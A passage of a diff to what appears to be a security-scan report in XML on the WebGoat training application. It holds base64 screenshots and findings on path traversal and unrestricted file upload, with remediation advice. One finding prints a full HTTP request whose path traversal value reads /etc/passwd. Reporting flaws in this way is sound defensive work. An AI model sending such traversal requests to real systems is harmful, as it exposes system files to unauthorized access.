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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAwQAAAH0CAYAAACD9urSAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAGHjSURBVHhe7d09VBu72uhxcdctTAcdLp23gi5Ud1NyOrLec9dKutBddke60IUy6ZJu0x1K0pHiPSt0h5J0pAvVOS5Nh7u440pjC4SQRprvGc/fe3nHeDT6+Ekz1jMf9sq9fIgeP1ZWVkTPCXrc+8WbHjN+YtIUr0n5OXS13uVLkCMCCCCAAALLLbDS94BgubuX1iGAAAIIIIAAAgggkC7wvwBCAAEEEEAAAQQQQACB/goQEPS372k5AggggAACCCCAAAKCgIBBgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FljKgGB7e1uoJw8EEEAAAQQQQAABBBBIF1i5l48mkPSE/fr6+qH42PdC9XXl41vHFTiYdQqVFbs8tk52faqoS2ydy0gX8o11KaMu5IEAAggggAACCCDwXGApzxDEdrQ5GVUTbz35bvLsghkALEswoG3b4Bs7NkiHAAIIIIAAAgj0RaCTZwiyHHU204bORqhOTztLYQ4Ke7KeVqdQfe3BFjpT4mqTr51mm7LWX6V3maXlYy7L0g69XpbyzPztsmLMfYFfljr0ZUdBOxFAAAEEEEBgeQUaCwhck2/fpC40kU+bDNpHpX1/+7o4NKmNXS/LpTGhoMR1pD1Lu/I453FIC1K0m88lpryYSb+vnCz5h8bf8u4eaBkCCCCAAAII9EGgNZcMmZO7si7ZqfOSG1Vn81nV4HG1KdTOuupmt9meSOt6lG1jX5Kkg806+qPstpAfAggggAACCCBQt0BrAgLVcPM6/hBEFZO9vHmaR5uztCHUxjKWl123rEa+yXoZbYs5O1NGf2Rtc5VtI28EEEAAAQQQQKBsgUYDgrSbTEOX2JgTzTImfTogKRt42fLL4m6fEQidyWirVZY2t7UN1AsBBBBAAAEEEPAJNBoQmJUq8u06eS5F4Rtv/BtF7CVbedzbuin2sc1t7QvqhQACCCCAAAL1CjR6U7FqapabSjVN6GZS3+TOdYQ6Jm2oPLMddvf5vrHGd7TcLivtZuGYG2Pz1i0tb18g5xq6We2yfMNP2lmkrP2qyi2rzfVuwpSGAAIIIIAAAggUE2g8IChWfdauSiB0yVZV5TaZbx/b3KQ3ZSOAAAIIIIBAOwRac8lQOzioBQIIIIAAAggggAAC/RLgDEG/+tvb2phLe5aNqo9tXrY+pD0IIIAAAgggUFyAgKC4ITkggAACCCCAAAIIINBZgUoDgv/6n//uLAwVR8An8O+//xMcBBBAAAEEEEBgaQS4h2BpupKGIIAAAggggAACCCCQXYCAILsZayCAAAIIIIAAAgggsDQCBARL05U0BAEEEEAAAQQQQACB7AIEBNnNWAMBBBBAAAEEEEAAgaURqP2mYm7IXJqx04uGuG6MZwz3outpJAIIIIAAAr0R4AxBb7qahiKAAAIIIIAAAggg8FyAgIBRgQACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIOjAGVlZWOlBLqogAAggggAACCCDQRYFGAgLfBLevE99Qu+/v77s4tqgzAggggAACCCCAQAcEGgkI1ATXngSrv5n4dmDEUEUEEEAAAQQQQACBpRJoJCBQgmZQ4AoG1Hv6aYq7Agm9XC9zrWfnYafJmq+vrLR6u5bF1Nmsm5mHva7rTIOvPsrDlZdp6XMMndFYqi2ExiCAAAIIIIAAAksu0FhAYAYF9pkBHSCo911nE9L6xFzXlS5v3q587fdCeev2mG3SbdfLYsabnY8rX52Pb5ldVztgSsszpo6kQQABBBBAAAEEEOiGQKMBQRVEWS87ik3vSud6L+2IfBXtDeWZtz5p68WaherGcgQQQAABBBBAAIHmBZYuIGia1Dyy3vTEOe0sQMipTe0I1ZXlCCCAAAIIIIAAAvkFeh8QVHk9fJV55+/y7Gum3V+RPTfWQAABBBBAAAEEEGiTQCsDAn2Nvb5sxTzSbi/LiunLu2i+qh5p9U6rp7le1vbE5mtP6tPam7cdZdadvBBAAAEEEEAAAQTqEWg8IPBdVmNesmJT+C5nib1Ex5d3lnyz1ttO7/o7LU9tEJOP6ZV26U+sscu/nuFJKQgggAACCCCAAAJVCzQeEFTdQPL3C5g3DscGU3gigAACCCCAAAIILJcAAcFy9Wem1qSdIciUEYkRQAABBBBAAAEEOitAQNDZrqPiCCCAAAIIIIAAAggUFyAgKG5IDggggAACCCCAAAIIdFaAgKCzXUfFEUAAAQQQQAABBBAoLrAiryO/L56NO4f/+p//ripr8kWgMYF///2fjZVNwQgggAACCCCAQNkCnCEoW5T8EEAAAQQQQAABBBDokAABQYc6i6oigAACCCCAAAIIIFC2AAFB2aLkhwACCCCAAAIIIIBAhwQICDrUWVQVAQQQQAABBBBAAIGyBSq9qbjsypIfAggggAACCCCAAAIIlCvAGYJyPckNAQQQQAABBBBAAIFOCXCGoFPd1Z3Kjm9vxfjXWEynd92pNDVtpcDa2roYbY3EaGMjqd/JyYkYj8etrGuTlRqNRuLw8PBJFbBqpkdcfdFMTSgVAQQQiBMgIIhzIlVGgdvbqRgMBmJtbZBxTZIj8FRgOp2Ju7upGI02xJcvX5Jxtb+/L8fWGlQLgel0Ks7OzsRsNhPv379P3sWqmeHh6otmakKpCCCAQLwAAUG8FSkzCKiAYGODCVsGMpKmCIzHt0lAcHR0JI6Pj5NgQE1+ecwFVJCkJqIfP34Unz9/Tt7DqpnR4eqLZmpCqQgggEC8APcQxFuREgEEWiBAMPC8E1Rw5DpjglX9A9bXF/XXhBIRQACBeAECgngrUiKAAAIIIIAAAgggsHQCBARL16U0CAEEEEAAAQQQQACBeAHuIYi3ImUGAe4hyIBF0qCAeQ+BukZeXS8f81hfX3cmu7tbvm+/UpcHqfsGzHsIslgpKJdX1VaqTF8Zacvsjs2SNmbsFMnf7os85bEOAgggUKdAJ88QrKyslG5URZ6lV9LKsIt1rtqE/BGwBdRk0376AoU+6+kJdZpVEbci6/a5X2g7AgggUIdAYwGBazLLBDdbl9/f32dbgdQIIIAAAggggAACCFgCjQUE9AQCCCDQBgF95No8gq1em09dT/sod9rfrvXNfNKWt8FF10FfzpPFSa1rpnetm7WNdn6hMw6+Poztg670T1ZH0iOAAAIugcbuIVBnA+wj3OZ79tkCM629rpnWladueNoylSbtiHtaGSZsWr1VOl8+dtt1XVxOuryQVxUuoTx1vbmHgB1OmQLmPQTqu/Ynk0lU9i9evHCm+89//vPwvk6j31N/m8tVQv2evcz3d1q6tPyjGuVJNBwOk99oMO8hyGKl26mztw1MB/u1XsdsW4yrL5+Y/NLqEzLOutxuS6if7L4IpWc5Aggg0LRAq88QqMmlfvouJ9KTYl86Xx72eqGOiKmLGXi46hOqa6gOoeV2HdPqnMel6vqH2sdyBPIIqImt/bQDBdfk11WWSqfXNYOE0MQ2Nv887StzHdNJtc8XUKkytYVO50pbdrvLyi+m7qZrWeWW2VfkhQACCJQp0OqAoIyGqkmsfhbJr6589KS76vsp8rYnbT3uaSgywlh3mQTsCafdNnMSnTbpbtJEBwe++umAyAwimqxvlrK7XPcs7SQtAgggECuw1AFB1rMAPrSy8lH5m0fmm5pAF2lPG+ofO7hJh0CTAvbRdvuIs33Wosm6qrLbGpg07UL5CCCAQB8EljogaHsH2tfjm/cEqIl32v0DbWibfRaj6rMabWgzdUBAH/3Xl5HYf+eZXPd5Mm5ehmWOLt91/k2MwD73TxPelIkAAvULNHZTsWpq6MZhk6OMm4r1EXqdb+gGYLP82LT2JN71t8437aZq7RO60dl383GWemRx4abi+jdSShTCvql4PB5HsWxtbTnT/fr16+F9lcb8Wy2w13Mtz5JHlvx1fex/Qw0ejUbOm4pjrVztVu+ltd3llFZvl7VuV6y5mS6tD2LyM01VXmb97HLS6m73jd0Xob5jOQIIINC0QKMBQVrj2350vOmOq6v8vP3AtwzV1UP9KCdvQNAPnXkrywgI2uyVZULedDsICJruAcpHAIGsAlwylFWsB+nNG4ebus+hB8w0EQEEEEAAAQQQaIVAawMCJqLNjQ/zxuHmakHJCCCAAAIIIIAAAnUItPaSoToaTxnVCXDJUHW2fczZvGTo6OhIDAYDeV9B3H0EffBSl6jMZrPkR8nMHybDqv7ed/VF/bWgRAQQQCCbAAFBNi9SRwqogEBN2tbWBpFrkAwBt8B0OhN3d1N5jfyG+PLlS5Jof39fjq01yBYC0+lUnJ2dJX+9f/8++RerZoaHqy+aqQmlIoAAAvECBATxVqTMIKCOVk7lkwcCZQisyeBSBZh6ojuZTMrIdqnyGA6HD8GAbpgKCrCqv5tdfVF/LSgRAQQQiBcgIIi3IiUCCCCAAAIIIIAAAksn0NqbipdOmgYhgAACCCCAAAIIINBCAQKCFnYKVUIAAQQQQAABBBBAoC4BAoK6pCkHAQQQQAABBBBAAIEWChAQtLBTqBICCCCAAAIIIIAAAnUJEBDUJU05CCCAAAIIIIAAAgi0UICAoIWdQpUQQAABBBBAAAEEEKhLoPSvHd3e3q6r7pSDAAIIIIAAAggggEDrBPRvwHTlt2BKCwhUILC+vi4+fPggtra2xMbGRus6hwohgAACCCCAAAIIIFCHwFj+ivzOm30xu74Sd3d3dRSZu4xSAgIVDOzv7yfP79ftbnBuKVZEAAEEEEAAAQQQQCCDwM7uSNyMp+JgZ7PVQUEp9xCoMwMEAxlGB0kRQAABBBBAAAEEll7g6nIshsM1Mdjda3VbC58hUGcHPn/+LMazYasbSuUQQAABBBBAAAEEEGhCYH1nJA43R6Kt9xSUcoZA3TPAAwEEEEAAAQQQQAABBLonUEpAsLa21r2WU2MEEEAAAQQQQAABBGoQmM2EvHSovVfTlHLJ0PX1tTi9vKmBkyIQQAABBBBAAAEEEOiWwOrWSHze2xFqztzGRylnCNrYMOqEAAIIIIAAAggggEAbBH63oRIpdeAMQcs7qKnqHexuNlU05UYKcFYuEopkCCCAAAIINCwwk2cITlt8hqC0gOBrxCVDf5zuiB8HVw9d8vH00tk9xwe7DXcbxb8lIGj9IIjZ5lrfCCqIAAIIIFBY4E7+ANbNzS9xN5kWzis2g3X5VZqbm1tifXEfaRvqIG4n4vtfX8TtTX2XsW9sbopX794LsZF+f8AdAcHj0FIBgXq8Eh+Tf7+LY/HzZiruzucnUm7lgL66/CXG1/OOJDCI3SzLT0dAUL5p2TkSEJQtSn4IIIBANwUuLy7F2ze7YiS/1rKux/hmLL6eX4rdvflB3DbU4ezPffH+w6HY2dmui0FcXV2LL59OxP4/zlLL7FFAMA7i/3G6LdblN5Te/ZonVa8vzqZicj7/deM7eQf2zc1E3Hy/FOevvonx+bWYHrbz5otgYzue4K38ZT0e7Rb4Kn/shAcCCCCAAALfL76Jj8eH8gD5tDaMDXmG4PjjiXi19zopsw11OH3zN/H96lzMbuqbOw42t8WrnTfi4PxfqfaTraE4a/ElQ43cVLy+sy5WtwYJ3G8ZBKy9WhdnW+tCvhRiIN9fFWI2Gont/W2xJoMIHggggAACCCCAAAJuATltkhOnmnVkeUm5i0cb6pBURdZLfcVn4mE99fvqXzNNKL0rryfvRdDX3T0RVXqSpLaAYOPTC7E6kpP9tfV5B6mrhORz94+15LmzJsREnSKQSWbyfxfXa2JtcyO9PT+OxP7fXiyeR6K+eDArs5Ve1/vdqZh4s7oUp397I77XdRBY1emL+56Ogq1l9aoEFn12/eWFOP1hFuIYO8H+jRhv41Nx/LC9ye0udfwWaHSwrgXydq7qa7t637F/6dJ+J6mrYz/ie1/5uJaZbX7o97H4/k77mGPQ9b5pqdcx6uWsj5mPuX8383retsnXN4+fC13cp6X22cLO2Qemkc8uy7azcPYYzp1zfkYl+xK9rrn9ReyHnjTh+bg6/io/NJ/kn6HNUZ/NGfIjqVPg6vJSfD4+Dj5VunyPeRTg+k+///3XWBye/5BH9edP9bdKfy7/1e+Z77tzm78bHYm1/GuGygsIVGiY9lS9urqIj2byEqEkOhuK9VcH4vLH/LIheQuB/ElnFRSsil83M/n3TGy/GYmNU3ltkZ33rdyhHAvx/uo/4kw9zzbF5GegDqE61rJc7sCOv4ndz7LOpwdiGDRztWmx07zVy+y/szrID4+zsXi7L68D1PXJtxWyVo0Cus+2d1+Lyyu549R9dzsWY/FT/PgpPxgX700mYzGSZ93C26hn7Kjt7c8L8cfZYnuT29z70Y2Y5N5mfGPWMRaflVH2+F90ml2O9NtYtPf93jfx7Zv07Mx+ZzEhlN/hkFzd+9A23/s6jVx+JceKuU7SZrl/0H2v91s/5Zg7XoyHz3IMHssJqSrH+f6uOND7avWvTC8298T2lr8+k29H4uvoH8n+/fPhWHxRE1OZ//WXP8X48F/z/f7nkfj6RR5YeRj7p+LkdLT4XPiH2L04Ed8f9pNZ94t1p0/pG08f+Ix876du/65tWbwUo7HL8FJcnKoP3JxGWwfio7ys45X8aH84xGx+9mTZr8g6PoxNOSY+HsjRa+cflV+Gz+ao/HLa5M17sRtbHGvVx1wr/ffh486aN4TqoCb65+f/CD5VulBerjokM83Aihc3t0/KV39/v54I1/uhvB6O/Af6ruXxgCgtIFAXAKU9Vf+oq4HUY6ZUNuXd2JsD+d6NWJXvT8Z34m48EVN5k4oKFn7K+4pV+rW1gZjJwOBZ3pMbMZZ3dqsPrmTZ6EC8kfcsh+rRhuVC7sDUzeihuuiB7kpnL0tLGypnML4UP0aHQsZeD3V62Mh40VqBhz4byu1gPBbqThzV13dXF2J0+EEeJRsv+nMsruVc6o+dUXAbTbbTZ085Ufn4SYw+nz8ZIzvHn4X6moDg+PKkcY5Zx1isfPwbPfykrB25T1lsE6PRyyTVoDP7nZF4c/ofcX6899C6edt87y/68epE7gv25gHBot9+nX0S4vDzk75P8jJ8Bjt7MvAYy/14yvvGOPh1+U2MduUNkN76qDH7U+zKNKqskcx/dHEh5FdOyDJePo5lNfat8SW/9mTxnjyYtPj25IE6Ynxw+rCN5B2z1a7n7xt3H/iN3HbZt1U1BtRxhB8ySHzSdrmPuZTXjevvAyzqYu4Lsn6WZU2fPk+J+2wu2t4q1m/yg0q3pzV1SCaZapruf+6N1sSbN38+VFkFKBfjeZCgH2q5ShfKaz6pDW9fTfrElF1aQBBTmLpGayDPDlxfzuTRpJ/i+6ef4uzoQhwOP4qxjATH8tfb7uQk5vfdnRiuzcTaYCJm+qyCXYD6ALr5JL7II9vPHnLnf7TzQgYI8+fJwzedXooTeePH+cMq5t/z1ycf38h19KnXsTg/cOTzJH/PpUrOOqgy/hSX8ujt1/0X4kjV/epIvJEfVN5LhyaPbUnSy7XNPN58PLL+VqfYFu26steVixzlTdQEUn7w8uiWwEOfjXbFH+JCyM9s+RjLb+qS334mJ/9qAjW/jG4sv4JN/q1neWnj99l4U6vLgPHmtZyEpfh4tzl5RPfj4zb05qMen4/bwfy9+cMei+F1XePfVaYuwbNNP9RAbTuyvkad1Dbz7nJPvN+XgGn7Hen8fH/h2K/4/J3vL7blM7mfWOzP5vuBKh6y/qdCnik0v1BA9v2FnICLE8f+1KiD3G+P5RF/OeyePpzvL/J8lthcVY3Z+eQsecjBO5K+47GcNMsjwF/31X5X2uzLQPVAnmnVq8oDQ29Hn8S7xOpInsGYB7FPH8/3j+ozYnKm9v3zsfrEOHO/pH3O5Ok3Xx/4jHzv5ylb7kv2D8Xo5MS4JFeNE3VG+THYTHL27ANM18T3YR9gfha76/Z8+49tQ+Cz/VmfOj6bvW2ab+cPYyT0GR5b5dLSVRFu+PL0VTpUh8f11KTbfj7NNT4vc73fcsKpn+pmAfv1q9G62HUEBToPVSe1fFem0+ub+Zj5xXadCk/a/Kg1ILiTlwOpoGB7d5DcSrC+JsS7DXkkU54KOJnKyf36Vwk/lWlmshPkh566hkieNXA/dsXh1b/EH5d/ez7pVx8S8pKcc3n68PzsgxgfhXc88zJ+ivHos1zvs9hOPtz/Jn7s/muej3weJhMi9SE0v3Qief+zEF+ffUAvPqie1UHVWZ7GXpzi/Pzkg9fVShk4yA9odVnUuTzFPk52yk/zOJdHac08z4/1xN5YVxqIkyMjEDLLuhTfTkbWZC/vdXttHurLV7fHCbqa7P9UX7+sPpXFrVATMxkk7KkJlHwrOZonL89ICNLGb8qYkUdd9aTr8QNeb1e+8T4335aXlcy3ofklHOdjewzrMft8LIbXdY//5+vNbdzbtB4bark8YqS2W70dqYnD6ab4S10mkyTz7XfS8jb3Kz7/QL+M9xb7G70fUM15euDj+QGQjGNenh34Ks8OuL7G4YccU/P9nbw06Mg+CCLbrs4gmRPzpGjP+2o8uoKHZ9U1glhz2c6heLv5TXxKDq5YgaqcnH2SAczbM7WfleP5bLEvU2d2ZFDxEDioZca+9fLohfgi1L7f3NdGbC+ufkljL9Bn7j7w